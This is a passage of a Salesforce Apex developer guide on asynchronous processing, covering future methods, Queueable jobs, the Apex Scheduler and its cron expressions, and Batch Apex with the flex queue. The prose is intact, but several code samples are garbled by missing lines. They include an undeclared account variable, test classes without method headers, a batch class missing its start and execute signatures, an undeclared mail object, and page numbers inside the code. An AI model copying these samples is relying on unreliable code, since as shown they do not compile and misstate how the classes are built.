• For jobs that need larger query results than regular transactions
allow
Scheduled Apex • To schedule an Apex class to run on a specific schedule
IN THIS SECTION:
Future Methods
Future Methods with Higher Limits (Pilot)
Queueable Apex
Take control of your asynchronous Apex processes by using the Queueable interface. This interface enables you to add jobs to
the queue and monitor them, which is an enhanced way of running your asynchronous Apex code compared to using future
methods.
Apex Scheduler
Batch Apex
Future Methods
A future method runs in the background, asynchronously. You can call a future method for executing long-running operations, such as
callouts to external Web services or any operation you’d like to run in its own thread, on its own time. You can also make use of future
methods to isolate DML operations on different sObject types to prevent the mixed DML error. Each future method is queued and
executes when system resources become available. That way, the execution of your code doesn’t have to wait for the completion of a
long-running operation. A benefit of using future methods is that some governor limits are higher, such as SOQL query limits and heap
size limits.
To define a future method, simply annotate it with the future annotation, as follows.
global class FutureClass
{
@future
public static void myFutureMethod()
{
// Perform some operations
}
}
Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must be
primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future annotation cannot
take sObjects or objects as arguments.
The reason why sObjects can’t be passed as arguments to future methods is because the sObject might change between the time you
call the method and the time it executes. In this case, the future method will get the old sObject values and might overwrite them. To
228
work with sObjects that already exist in the database, pass the sObject ID instead (or collection of IDs) and use the ID to perform a query
for the most up-to-date record. The following example shows how to do so with a list of IDs.
global class FutureMethodRecordProcessing
{
@future
public static void processRecords(List<ID> recordIds)
{
// Get those records based on the IDs
List<Account> accts = [SELECT Name FROM Account WHERE Id IN :recordIds];
// Process records
}
}
The following is a skeletal example of a future method that makes a callout to an external service. Notice that the annotation takes an
extra parameter (callout=true) to indicate that callouts are allowed. To learn more about callouts, see Invoking Callouts Using
Apex.
global class FutureMethodExample
{
@future(callout=true)
public static void getStockQuotes(String acctName)
{
// Perform a callout to an external service
}
Inserting a user with a non-null role must be done in a separate thread from DML operations on other sObjects. This example uses a
future method to achieve this. The future method, insertUserWithRole, which is defined in the Util class, performs the
insertion of a user with the COO role. This future method requires the COO role to be defined in the organization. The
useFutureMethod method in MixedDMLFuture inserts an account and calls the future method, insertUserWithRole.
This is the definition of the Util class, which contains the future method for inserting a user with a non-null role.
public class Util {
@future
public static void insertUserWithRole(
String uname, String al, String em, String lname) {

// Create new user with a non-null user role ID
User u = new User(alias = al, email=em,
emailencodingkey='UTF-8', lastname=lname,
username=uname);
insert u;
}
}
229
This is the class containing the main method that calls the future method defined previously.
public class MixedDMLFuture {
public static void useFutureMethod() {
// First DML operation
insert a;
// This next operation (insert a user with a role)

// can't be mixed with the previous insert unless
// it is within a future method.
// Call future method to insert a user with a role.
Util.insertUserWithRole(
'mruiz@awcomputing.com', 'mruiz',
'mruiz@awcomputing.com', 'Ruiz');
}
}
You can invoke future methods the same way you invoke any other method. However, a future method can’t invoke another future
method.
Methods with the future annotation have the following limits:
• No more than 50 method calls per Apex invocation
Note: Asynchronous calls, such as @future or executeBatch, called in a startTest, stopTest block, do not
count against your limits for the number of queued jobs.
• The maximum number of future method invocations per a 24-hour period is 250,000 or the number of user licenses in your
organization multiplied by 200, whichever is greater. This limit is for your entire org and is shared with all asynchronous Apex: Batch
Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available,
make a request to the REST API limits resource. See List Organization Limits in the Force.com REST API Developer Guide. The
licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter
customer users, Customer Portal User, and partner portal User licenses aren’t included.
Note: Future method jobs queued before a Salesforce service maintenance downtime remain in the queue. After service downtime
ends and when system resources become available, the queued future method jobs are executed. If a future method was running
when downtime occurred, the future method execution is rolled back and restarted after the service comes back up.
Testing Future Methods

To test methods defined with the future annotation, call the class containing the method in a startTest(), stopTest()
code block. All asynchronous calls made after the startTest method are collected by the system. When stopTest is executed,
all asynchronous processes are run synchronously.
For our example, this is how the test class looks.
@isTest
private class MixedDMLFutureTest {
User thisUser = [SELECT Id FROM User WHERE Id = :UserInfo.getUserId()];
// System.runAs() allows mixed DML operations in test context
System.runAs(thisUser) {
// startTest/stopTest block to run future method synchronously
Test.startTest();
MixedDMLFuture.useFutureMethod();
230
Test.stopTest();
}
// The future method will run after Test.stopTest();
// Verify account is inserted

Account[] accts = [SELECT Id from Account WHERE Name='Acme'];
System.assertEquals(1, accts.size());
// Verify user is inserted
User[] users = [SELECT Id from User where username='mruiz@awcomputing.com'];
System.assertEquals(1, users.size());
}
}
Future Method Performance Best Practices

Salesforce uses a queue-based framework to handle asynchronous processes from such sources as future methods and batch Apex. This
queue is used to balance request workload across organizations. Use the following best practices to ensure your organization is efficiently
using the queue for your asynchronous processes.
• Avoid adding large numbers of future methods to the asynchronous queue, if possible. If more than 2,000 unprocessed requests
from a single organization are in the queue, any additional requests from the same organization will be delayed while the queue
handles requests from other organizations.
• Ensure that future methods execute as fast as possible. To ensure fast execution of batch jobs, minimize Web service callout times
and tune queries used in your future methods. The longer the future method executes, the more likely other queued requests are
delayed when there are a large number of requests in the queue.
• Test your future methods at scale. Where possible, test using an environment that generates the maximum number of future methods
you’d expect to handle. This will help determine if delays will occur.
• Consider using batch Apex instead of future methods to process large numbers of records.
Future Methods with Higher Limits (Pilot)

Note: We provide this feature to selected customers through a pilot program that requires agreement to specific terms and
conditions. To be nominated to participate in the program, contact Salesforce. Because pilot programs are subject to change, we
can’t guarantee acceptance. This pilot feature isn’t generally available, as referenced in this document or in press releases or public
statements. We can’t guarantee general availability within any particular time frame or at all. Make your purchase decisions only
on the basis of generally available features.
Apex future methods (methods that are annotated with @future) currently have the higher asynchronous limits for heap size, CPU
timeout, and number of SOQL queries. This pilot enables you to specify even higher values for these limits and for additional limits in
future methods. If you’re exceeding a governor limit in your future method, or if you think a future method requires a higher limit, you
can increase this limit for your future method.
Note: Running future methods with higher limits can slow down the execution of all your future methods.
One of the following limits can be doubled or tripled for each future method.
• Heap size
• CPU timeout
• Number of SOQL queries
• Number of DML statements issued
231
• Number of records that were processed as a result of DML operations, Approval.process, or

Database.emptyRecycleBin
The higher limit is specified in the method definition as part of the @future annotation by using the limit parameter, in the
following syntax:
@future(limits='2x|3xlimitName')
For example, to double the amount of heap size that is allowed in your future method, define your method as follows:
@future(limits='2xHeap')
public static void myFutureMethod() {
// Your code here
}
Tip: Keep in mind that you can specify only one higher limit per future method. Decide which of the modifiable limits you need
the most for your method.
The following limit modifiers are supported. The string value passed to the limits parameter inside the annotation is case-insensitive.
Modifier Description
@future(limits='2xHeap') Heap size limit is doubled (24 MB).
@future(limits='3xHeap') Heap size limit is tripled (36 MB).
@future(limits='2xCPU') CPU timeout is doubled (120,000 milliseconds).
@future(limits='3xCPU') CPU timeout is tripled (180,000 milliseconds).
@future(limits='2xSOQL') Number of SOQL queries limit is doubled (400).
@future(limits='3xSOQL') Number of SOQL queries limit is tripled (600).
@future(limits='2xDML') Number of DML statements limit is doubled (300).
@future(limits='3xDML') Number of DML statements limit is tripled (450).

1
@future(limits='2xDMLRows') Number of records that were processed as a result of DML
operations is doubled (20,000).
1
@future(limits='3xDMLRows') Number of records that were processed as a result of DML
operations is tripled (30,000).
1
Includes Approval.process and Database.emptyRecycleBin operations.
Queueable Apex
Take control of your asynchronous Apex processes by using the Queueable interface. This interface enables you to add jobs to the
queue and monitor them, which is an enhanced way of running your asynchronous Apex code compared to using future methods.
For Apex processes that run for a long time, such as extensive database operations or external Web service callouts, you can run them
asynchronously by implementing the Queueable interface and adding a job to the Apex job queue. In this way, your asynchronous
Apex job runs in the background in its own thread and doesn’t delay the execution of your main Apex logic. Each queued job runs when
system resources become available. A benefit of using the Queueable interface methods is that some governor limits are higher
than for synchronous Apex, such as heap size limits.
232
Queueable jobs are similar to future methods in that they’re both queued for execution, but they provide you with these additional
benefits.
• Getting an ID for your job: When you submit your job by invoking the System.enqueueJob method, the method returns the
ID of the new job. This ID corresponds to the ID of the AsyncApexJob record. You can use this ID to identify your job and monitor
its progress, either through the Salesforce user interface in the Apex Jobs page, or programmatically by querying your record from
AsyncApexJob.
• Using non-primitive types: Your queueable class can contain member variables of non-primitive data types, such as sObjects or
custom Apex types. Those objects can be accessed when the job executes.
• Chaining jobs: You can chain one job to another job by starting a second job from a running job. Chaining jobs is useful if you need
to do some processing that depends on another process to have run first.
Example
This example is an implementation of the Queueable interface. The execute method in this example inserts a new account.
public class AsyncExecutionExample implements Queueable {
public void execute(QueueableContext context) {
Account a = new Account(Name='Acme',Phone='(415) 555-1212');
insert a;
}
}
To add this class as a job on the queue, call this method:

ID jobID = System.enqueueJob(new AsyncExecutionExample());
After you submit your queueable class for execution, the job is added to the queue and will be processed when system resources become
available. You can monitor the status of your job programmatically by querying AsyncApexJob or through the user interface in Setup
by entering Apex Jobs in the Quick Find box, then selecting Apex Jobs.
To query information about your submitted job, perform a SOQL query on AsyncApexJob by filtering on the job ID that the
System.enqueueJob method returns. This example uses the jobID variable that was obtained in the previous example.
AsyncApexJob jobInfo = [SELECT Status,NumberOfErrors FROM AsyncApexJob WHERE Id=:jobID];
Similar to future jobs, queueable jobs don’t process batches, and so the number of processed batches and the number of total batches
are always zero.
Testing Queueable Jobs

This example shows how to test the execution of a queueable job in a test method. A queueable job is an asynchronous process. To
ensure that this process runs within the test method, the job is submitted to the queue between the Test.startTest and
Test.stopTest block. The system executes all asynchronous processes started in a test method synchronously after the
Test.stopTest statement. Next, the test method verifies the results of the queueable job by querying the account that the job
created.
@isTest
public class AsyncExecutionExampleTest {
// startTest/stopTest block to force async processes
// to run in the test.
Test.startTest();
System.enqueueJob(new AsyncExecutionExample());
233
Test.stopTest();
// Validate that the job has run

// by verifying that the record was created.
// This query returns only the account created in test context by the
// Queueable class method.
Account acct = [SELECT Name,Phone FROM Account WHERE Name='Acme' LIMIT 1];
System.assertNotEquals(null, acct);
System.assertEquals('(415) 555-1212', acct.Phone);
}
}
Note: The ID of a queueable Apex job isn’t returned in test context—System.enqueueJob returns null in a running test.
Chaining Jobs
If you need to run a job after some other processing is done first by another job, you can chain queueable jobs. To chain a job to another
job, submit the second job from the execute() method of your queueable class. You can add only one job from an executing job,
which means that only one child job can exist for each parent job. For example, if you have a second class called SecondJob that
implements the Queueable interface, you can add this class to the queue in the execute() method as follows:
public class AsyncExecutionExample implements Queueable {
public void execute(QueueableContext context) {
// Your processing logic here
// Chain this job to next job by submitting the next job

System.enqueueJob(new SecondJob());
}
}
Note: Apex allows only one web service callout from chained queueable jobs, and it must come from the parent job.
You can’t chain queueable jobs in an Apex test. Doing so results in an error. To avoid getting an error, you can check if Apex is running
in test context by calling Test.isRunningTest() before chaining jobs.
Queueable Apex Limits

• The execution of a queued job counts once against the shared limit for asynchronous Apex method executions.
• You can add up to 50 jobs to the queue with System.enqueueJob in a single transaction. To check how many queueable jobs
have been added in one transaction, call Limits.getQueueableJobs().
• No limit is enforced on the depth of chained jobs, which means that you can chain one job to another job and repeat this process
with each new child job to link it to a new child job. For Developer Edition and Trial organizations, the maximum stack depth for
chained jobs is 5, which means that you can chain jobs four times and the maximum number of jobs in the chain is 5, including the
initial parent queueable job.
• When chaining jobs, you can add only one job from an executing job with System.enqueueJob, which means that only one
child job can exist for each parent queueable job. Starting multiple child jobs from the same queueable job isn’t supported.
SEE ALSO:
Queueable Interface
QueueableContext Interface
234
Apex Scheduler
To invoke Apex classes to run at specific times, first implement the Schedulable interface for the class, then specify the schedule
using either the Schedule Apex page in the Salesforce user interface, or the System.schedule method.
Important: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service
availability.
You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs
page in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also programmatically query
the CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.
Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add
more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the
user interface, and all cases where more than one record can be updated at a time.
If there are one or more active scheduled jobs for an Apex class, you cannot update the class or any classes referenced by this class
through the Salesforce user interface. However, you can enable deployments to update the class with active scheduled jobs by
using the Metadata API (for example, when using the Force.com IDE). See “Deployment Connections for Change Sets” in the
Salesforce Help.
Implementing the Schedulable Interface

To schedule an Apex class to run at regular intervals, first write an Apex class that implements the Salesforce-provided interface
Schedulable.
The scheduler runs as system—all classes are executed, whether or not the user has permission to execute the class.
To monitor or stop the execution of a scheduled Apex job using the Salesforce user interface, from Setup, enter Scheduled Jobs
in the Quick Find box, then select Scheduled Jobs.
The Schedulable interface contains one method that must be implemented, execute.
global void execute(SchedulableContext sc){}
The implemented method must be declared as global or public.

Use this method to instantiate the class you want to schedule.
Tip: Though it's possible to do additional processing in the execute method, we recommend that all processing take place
in a separate class.
The following example implements the Schedulable interface for a class called mergeNumbers:
global class scheduledMerge implements Schedulable {
global void execute(SchedulableContext SC) {
mergeNumbers M = new mergeNumbers();
}
}
The following example uses the System.Schedule method to implement the above class.
scheduledMerge m = new scheduledMerge();
String sch = '20 30 8 10 2 ?';
String jobID = system.schedule('Merge Job', sch, m);
235
You can also use the Schedulable interface with batch Apex classes. The following example implements the Schedulable
interface for a batch Apex class called batchable:
global class scheduledBatchable implements Schedulable {
global void execute(SchedulableContext sc) {
batchable b = new batchable();
database.executebatch(b);
}
}
An easier way to schedule a batch job is to call the System.scheduleBatch method without having to implement the
Schedulable interface.
Use the SchedulableContext object to keep track of the scheduled job once it's scheduled. The SchedulableContext getTriggerID
method returns the ID of the CronTrigger object associated with this scheduled job as a string. You can query CronTrigger to track
the progress of the scheduled job.
To stop execution of a job that was scheduled, use the System.abortJob method with the ID returned by the getTriggerID
method.
Tracking the Progress of a Scheduled Job Using Queries

After the Apex job has been scheduled, you can obtain more information about it by running a SOQL query on CronTrigger and retrieving
some fields, such as the number of times the job has run, and the date and time when the job is scheduled to run again, as shown in
this example.
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :jobID];
The previous example assumes you have a jobID variable holding the ID of the job. The System.schedule method returns the
job ID. If you’re performing this query inside the execute method of your schedulable class, you can obtain the ID of the current job
by calling getTriggerId on the SchedulableContext argument variable. Assuming this variable name is sc, the modified example
becomes:
CronTrigger ct =
[SELECT TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :sc.getTriggerId()];
You can also get the job’s name and the job’s type from the CronJobDetail record associated with the CronTrigger record. To do so, use
the CronJobDetail relationship when performing a query on CronTrigger. This example retrieves the most recent CronTrigger
record with the job name and type from CronJobDetail.
CronTrigger job =
[SELECT Id, CronJobDetail.Id, CronJobDetail.Name, CronJobDetail.JobType
FROM CronTrigger ORDER BY CreatedDate DESC LIMIT 1];
Alternatively, you can query CronJobDetail directly to get the job’s name and type. This next example gets the job’s name and type for
the CronTrigger record queried in the previous example. The corresponding CronJobDetail record ID is obtained by the
CronJobDetail.Id expression on the CronTrigger record.
CronJobDetail ctd =
[SELECT Id, Name, JobType
FROM CronJobDetail WHERE Id = :job.CronJobDetail.Id];
236
To obtain the total count of all Apex scheduled jobs, excluding all other scheduled job types, perform the following query. Note the
value '7' is specified for the job type, which corresponds to the scheduled Apex job type.
SELECT COUNT() FROM CronTrigger WHERE CronJobDetail.JobType = '7'
Testing the Apex Scheduler

The following is an example of how to test using the Apex scheduler.
The System.schedule method starts an asynchronous process. This means that when you test scheduled Apex, you must ensure
that the scheduled job is finished before testing against the results. Use the Test methods startTest and stopTest around the
System.schedule method to ensure it finishes before continuing your test. All asynchronous calls made after the startTest
method are collected by the system. When stopTest is executed, all asynchronous processes are run synchronously. If you don’t
include the System.schedule method within the startTest and stopTest methods, the scheduled job executes at the
end of your test method for Apex saved using Salesforce API version 25.0 and later, but not in earlier versions.
This is the class to be tested.
global class TestScheduledApexFromTestMethod implements Schedulable {
// This test runs a scheduled job at midnight Sept. 3rd. 2022
public static String CRON_EXP = '0 0 0 3 9 ? 2022';
global void execute(SchedulableContext ctx) {

CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered, NextFireTime
FROM CronTrigger WHERE Id = :ctx.getTriggerId()];
System.assertEquals(CRON_EXP, ct.CronExpression);
System.assertEquals(0, ct.TimesTriggered);
System.assertEquals('2022-09-03 00:00:00', String.valueOf(ct.NextFireTime));
Account a = [SELECT Id, Name FROM Account WHERE Name =

'testScheduledApexFromTestMethod'];
a.name = 'testScheduledApexFromTestMethodUpdated';
update a;
}
}
The following tests the above class:

@istest
class TestClass {
static testmethod void test() {

Test.startTest();

a.Name = 'testScheduledApexFromTestMethod';
insert a;
// Schedule the test job
String jobId = System.schedule('testBasicScheduledApex',

TestScheduledApexFromTestMethod.CRON_EXP,
237
new TestScheduledApexFromTestMethod());
// Get the information from the CronTrigger API object

CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered,
NextFireTime
FROM CronTrigger WHERE id = :jobId];
// Verify the expressions are the same

System.assertEquals(TestScheduledApexFromTestMethod.CRON_EXP,
ct.CronExpression);
// Verify the job has not run

// Verify the next time the job will run

System.assertEquals('2022-09-03 00:00:00',
String.valueOf(ct.NextFireTime));
System.assertNotEquals('testScheduledApexFromTestMethodUpdated',
[SELECT id, name FROM account WHERE id = :a.id].name);
Test.stopTest();
System.assertEquals('testScheduledApexFromTestMethodUpdated',
[SELECT Id, Name FROM Account WHERE Id = :a.Id].Name);
}
}
Using the System.Schedule Method

After you implement a class with the Schedulable interface, use the System.Schedule method to execute it. The scheduler
runs as system—all classes are executed, whether or not the user has permission to execute the class.
Note: Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t
add more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through
the user interface, and all cases where more than one record can be updated at a time.
The System.Schedule method takes three arguments: a name for the job, an expression used to represent the time and date the
job is scheduled to run, and the name of the class. This expression has the following syntax:
Seconds Minutes Hours Day_of_month Month Day_of_week Optional_year
Note: Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service
availability.
The System.Schedule method uses the user's timezone for the basis of all schedules.
The following are the values for the expression:
Name Values Special Characters

Seconds 0–59 None
Minutes 0–59 None
238
Name Values Special Characters

Hours 0–23 None
Day_of_month 1–31 , - * ? / L W
Month 1–12 or the following: , - * /

• JAN
• FEB
• MAR
• APR
• MAY
• JUN
• JUL
• AUG
• SEP
• OCT
• NOV
• DEC
Day_of_week 1–7 or the following: , - * ? / L #

• SUN
• MON
• TUE
• WED
• THU
• FRI
• SAT
optional_year null or 1970–2099 , - * /
The special characters are defined as follows:
Special Character Description

, Delimits values. For example, use JAN, MAR, APR to specify more than one month.
- Specifies a range. For example, use JAN-MAR to specify more than one month.
* Specifies all values. For example, if Month is specified as *, the job is scheduled for
every month.
? Specifies no specific value. This is only available for Day_of_month and

Day_of_week, and is generally used when specifying a value for one and not the
other.
239
Special Character Description

/ Specifies increments. The number before the slash specifies when the intervals will
begin, and the number after the slash is the interval amount. For example, if you specify
1/5 for Day_of_month, the Apex class runs every fifth day of the month, starting
on the first of the month.
L Specifies the end of a range (last). This is only available for Day_of_month and
Day_of_week. When used with Day of month, L always means the last day
of the month, such as January 31, February 29 for leap years, and so on. When used
with Day_of_week by itself, it always means 7 or SAT. When used with a
Day_of_week value, it means the last of that type of day in the month. For example,
if you specify 2L, you are specifying the last Monday of the month. Do not use a range
of values with L as the results might be unexpected.
W Specifies the nearest weekday (Monday-Friday) of the given day. This is only available
for Day_of_month. For example, if you specify 20W, and the 20th is a Saturday,
the class runs on the 19th. If you specify 1W, and the first is a Saturday, the class does
not run in the previous month, but on the third, which is the following Monday.
Tip: Use the L and W together to specify the last weekday of the month.
# Specifies the nth day of the month, in the format weekday#day_of_month.

This is only available for Day_of_week. The number before the # specifies weekday
(SUN-SAT). The number after the # specifies the day of the month. For example,
specifying 2#2 means the class runs on the second Monday of every month.
The following are some examples of how to use the expression.
Expression Description
0 0 13 * * ? Class runs every day at 1 PM.
0 0 22 ? * 6L Class runs the last Friday of every month at 10 PM.
0 0 10 ? * MON-FRI Class runs Monday through Friday at 10 AM.
0 0 20 * * ? 2010 Class runs every day at 8 PM during the year 2010.
In the following example, the class proschedule implements the Schedulable interface. The class is scheduled to run at 8 AM,
on the 13th of February.
proschedule p = new proschedule();
String sch = '0 0 8 13 2 ?';
system.schedule('One Time Pro', sch, p);
Using the System.scheduleBatch Method for Batch Jobs

You can call the System.scheduleBatch method to schedule a batch job to run once at a specified time in the future. This
method is available only for batch classes and doesn’t require the implementation of the Schedulable interface. This makes it easy
240
to schedule a batch job for one execution. For more details on how to use the System.scheduleBatch method, see Using the
System.scheduleBatch Method.
Apex Scheduler Limits

• You can only have 100 scheduled Apex jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs page
in Salesforce and creating a custom view with a type filter equal to “Scheduled Apex”. You can also programmatically query the
CronTrigger and CronJobDetail objects to get the count of Apex scheduled jobs.
• The maximum number of scheduled Apex executions per a 24-hour period is 250,000 or the number of user licenses in your
organization multiplied by 200, whichever is greater. This limit is for your entire org and is shared with all asynchronous Apex: Batch
Apex, Queueable Apex, scheduled Apex, and future methods. To check how many asynchronous Apex executions are available,
make a request to the REST API limits resource. See List Organization Limits in the Force.com REST API Developer Guide. The
licenses that count toward this limit are full Salesforce user licenses or Force.com App Subscription user licenses. Chatter Free, Chatter
customer users, Customer Portal User, and partner portal User licenses aren’t included.
Apex Scheduler Notes and Best Practices

• Salesforce schedules the class for execution at the specified time. Actual execution may be delayed based on service availability.
• Use extreme care if you’re planning to schedule a class from a trigger. You must be able to guarantee that the trigger won’t add
more scheduled classes than the limit. In particular, consider API bulk updates, import wizards, mass record changes through the
user interface, and all cases where more than one record can be updated at a time.
• Though it's possible to do additional processing in the execute method, we recommend that all processing take place in a
separate class.
• Synchronous Web service callouts are not supported from scheduled Apex. To be able to make callouts, make an asynchronous
callout by placing the callout in a method annotated with @future(callout=true) and call this method from scheduled
Apex. However, if your scheduled Apex executes a batch job, callouts are supported from the batch class. See Using Batch Apex.
• Apex jobs scheduled to run during a Salesforce service maintenance downtime will be scheduled to run after the service comes
back up, when system resources become available. If a scheduled Apex job was running when downtime occurred, the job is rolled
back and scheduled again after the service comes back up. Note that after major service upgrades, there might be longer delays
than usual for starting scheduled Apex jobs because of system usage spikes.
SEE ALSO:
Schedulable Interface
Batch Apex
A developer can now employ batch Apex to build complex, long-running processes that run on thousands of records on the Force.com
platform. Batch Apex operates over small batches of records, covering your entire record set and breaking the processing down to
manageable chunks. For example, a developer could build an archiving solution that runs on a nightly basis, looking for records past a
certain date and adding them to an archive. Or a developer could build a data cleansing operation that goes through all Accounts and
Opportunities on a nightly basis and updates them if necessary, based on custom criteria.
Batch Apex is exposed as an interface that must be implemented by the developer. Batch jobs can be programmatically invoked at
runtime using Apex.
You can only have five queued or active batch jobs at one time. You can evaluate your current count by viewing the Scheduled Jobs
page in Salesforce or programmatically using SOAP API to query the AsyncApexJob object.
241
Warning: Use extreme care if you are planning to invoke a batch job from a trigger. You must be able to guarantee that the
trigger will not add more batch jobs than the limit. In particular, consider API bulk updates, import wizards, mass record changes
through the user interface, and all cases where more than one record can be updated at a time.
Batch jobs can also be programmatically scheduled to run at specific times using the Apex scheduler, or scheduled using the Schedule
Apex page in the Salesforce user interface. For more information on the Schedule Apex page, see “Schedule Apex Jobs” in the Salesforce
online help.
The batch Apex interface is also used for Apex managed sharing recalculations.
For more information on batch jobs, continue to Using Batch Apex on page 242.
For more information on Apex managed sharing, see Understanding Apex Managed Sharing on page 186.
IN THIS SECTION:
Using Batch Apex
Using Batch Apex

To use batch Apex, write an Apex class that implements the Salesforce-provided interface Database.Batchable and then invoke
the class programmatically.
To monitor or stop the execution of the batch Apex job, from Setup, enter Apex Jobs in the Quick Find box, then select Apex
Jobs.
Implementing the Database.Batchable Interface

The Database.Batchable interface contains three methods that must be implemented.
• start method:
global (Database.QueryLocator | Iterable<sObject>) start(Database.BatchableContext bc)

{}
To collect the records or objects to pass to the interface method execute, call the start method at the beginning of a batch
Apex job. This method returns either a Database.QueryLocator object or an iterable that contains the records or objects
passed to the job.
When you’re using a simple query (SELECT) to generate the scope of objects in the batch job, use the
Database.QueryLocator object. If you use a QueryLocator object, the governor limit for the total number of records
retrieved by SOQL queries is bypassed. For example, a batch Apex job for the Account object can return a QueryLocator for all
account records (up to 50 million records) in an org. Another example is a sharing recalculation for the Contact object that returns
a QueryLocator for all account records in an org.
Use the iterable to create a complex scope for the batch job. You can also use the iterable to create your own custom process for
iterating through the list.
Important: If you use an iterable, the governor limit for the total number of records retrieved by SOQL queries is still enforced.
• execute method:
global void execute(Database.BatchableContext BC, list<P>){}
To do the required processing for each chunk of data, use the execute method. This method is called for each batch of records
that you pass to it.
This method takes the following:
242
– A reference to the Database.BatchableContext object.

– A list of sObjects, such as List<sObject>, or a list of parameterized types. If you are using a Database.QueryLocator,
use the returned list.
Batches of records tend to execute in the order in which they’re received from the start method. However, the order in which
batches of records execute depends on various factors. The order of execution isn’t guaranteed.
• finish method:
global void finish(Database.BatchableContext BC){}
To send confirmation emails or execute post-processing operations, use the finish method. This method is called after all batches
are processed.
Each execution of a batch Apex job is considered a discrete transaction. For example, a batch Apex job that contains 1,000 records and
is executed without the optional scope parameter from Database.executeBatch is considered five transactions of 200 records
each. The Apex governor limits are reset for each transaction. If the first transaction succeeds but the second fails, the database updates
made in the first transaction are not rolled back.
Using Database.BatchableContext
All the methods in the Database.Batchable interface require a reference to a Database.BatchableContext object.
Use this object to track the progress of the batch job.
The following is the instance method with the Database.BatchableContext object:

getJobID ID Returns the ID of the AsyncApexJob object associated with
this batch job as a string. Use this method to track the
progress of records in the batch job. You can also use this
ID with the System.abortJob method.
The following example uses the Database.BatchableContext to query the AsyncApexJob associated with the batch job.
// Get the ID of the AsyncApexJob representing this batch job
// from Database.BatchableContext.
// Query the AsyncApexJob object to retrieve the current job's information.
AsyncApexJob a = [SELECT Id, Status, NumberOfErrors, JobItemsProcessed,
TotalJobItems, CreatedBy.Email
FROM AsyncApexJob WHERE Id =
:BC.getJobId()];
// Send an email to the Apex job's submitter notifying of job completion.
String[] toAddresses = new String[] {a.CreatedBy.Email};
mail.setSubject('Apex Sharing Recalculation ' + a.Status);
mail.setPlainTextBody
('The batch Apex job processed ' + a.TotalJobItems +
' batches with '+ a.NumberOfErrors + ' failures.');
}
243
Using Database.QueryLocator to Define Scope

The start method can return either a Database.QueryLocator object that contains the records to use in the batch job or
an iterable.
The following example uses a Database.QueryLocator:
global class SearchAndReplace implements Database.Batchable<sObject>{
global final String Query;

global final String Entity;
global final String Field;
global final String Value;
global SearchAndReplace(String q, String e, String f, String v){
Query=q; Entity=e; Field=f;Value=v;

}

return Database.getQueryLocator(query);
}

for(sobject s : scope){
s.put(Field,Value);
}
update scope;
}

}
}
Using an Iterable in Batch Apex to Define Scope

The start method can return either a Database.QueryLocator object that contains the records to use in the batch job or
an iterable. Use an iterable to step through the returned items more easily.
global class batchClass implements Database.batchable{
global Iterable start(Database.BatchableContext info){
return new CustomAccountIterable();
}
global void execute(Database.BatchableContext info, List<Account> scope){
List<Account> accsToUpdate = new List<Account>();
for(Account a : scope){
a.Name = 'true';
a.NumberOfEmployees = 70;
accsToUpdate.add(a);
}
update accsToUpdate;
}
global void finish(Database.BatchableContext info){
}
}
244
Using the Database.executeBatch Method to Submit Batch Jobs

You can use the Database.executeBatch method to programmatically begin a batch job.
Important: When you call Database.executeBatch, Salesforce adds the process to the queue. Actual execution can be
delayed based on service availability.
The Database.executeBatch method takes two parameters:
• An instance of a class that implements the Database.Batchable interface.
• An optional parameter scope. This parameter specifies the number of records to pass into the execute method. Use this
parameter when you have many operations for each record being passed in and are running into governor limits. By limiting the
number of records, you are limiting the operations per transaction. This value must be greater than zero. If the start method of
the batch class returns a QueryLocator, the optional scope parameter of Database.executeBatch can have a maximum
value of 2,000. If set to a higher value, Salesforce chunks the records returned by the QueryLocator into smaller batches of up to
2,000 records. If the start method of the batch class returns an iterable, the scope parameter value has no upper limit. However,
if you use a high number, you can run into other limits.
The Database.executeBatch method returns the ID of the AsyncApexJob object, which you can use to track the progress of
the job. For example:
ID batchprocessid = Database.executeBatch(reassign);
AsyncApexJob aaj = [SELECT Id, Status, JobItemsProcessed, TotalJobItems, NumberOfErrors

FROM AsyncApexJob WHERE ID =: batchprocessid ];
You can also use this ID with the System.abortJob method.

For more information, see AsyncApexJob in the Object Reference for Salesforce and Force.com.
Holding Batch Jobs in the Apex Flex Queue

With the Apex flex queue, you can submit up to 100 batch jobs.
The outcome of Database.executeBatch is as follows.
• The batch job is placed in the Apex flex queue, and its status is set to Holding.
• If the Apex flex queue has the maximum number of 100 jobs, Database.executeBatch throws a LimitException
and doesn’t add the job to the queue.
Note: If your org doesn’t have Apex flex queue enabled, Database.executeBatch adds the batch job to the batch job
queue with the Queued status. If the concurrent limit of queued or active batch job has been reached, a LimitException
is thrown, and the job isn’t queued.
Reordering Jobs in the Apex Flex Queue
While submitted jobs have a status of Holding, you can reorder them in the Salesforce user interface to control which batch jobs are
processed first. To do so, from Setup, enter Apex Flex Queue in the Quick Find box, then select Apex Flex Queue.
Alternatively, you can use Apex methods to reorder batch jobs in the flex queue. To move a job to a new position, call one of the
System.FlexQueue methods. Pass the method the job ID and, if applicable, the ID of the job next to the moved job’s new position.
For example:
Boolean isSuccess = System.FlexQueue.moveBeforeJob(jobToMoveId, jobInQueueId);
You can reorder jobs in the Apex flex queue to prioritize jobs. For example, you can move a batch job up to the first position in the
holding queue to be processed first when resources become available. Otherwise, jobs are processed “first-in, first-out”—in the order
in which they’re submitted.
245
When system resources become available, the system picks up the next job from the top of the Apex flex queue and moves it to the
batch job queue. The system can process up to five queued or active jobs simultaneously for each organization. The status of these
moved jobs changes from Holding to Queued. Queued jobs get executed when the system is ready to process new jobs. You can
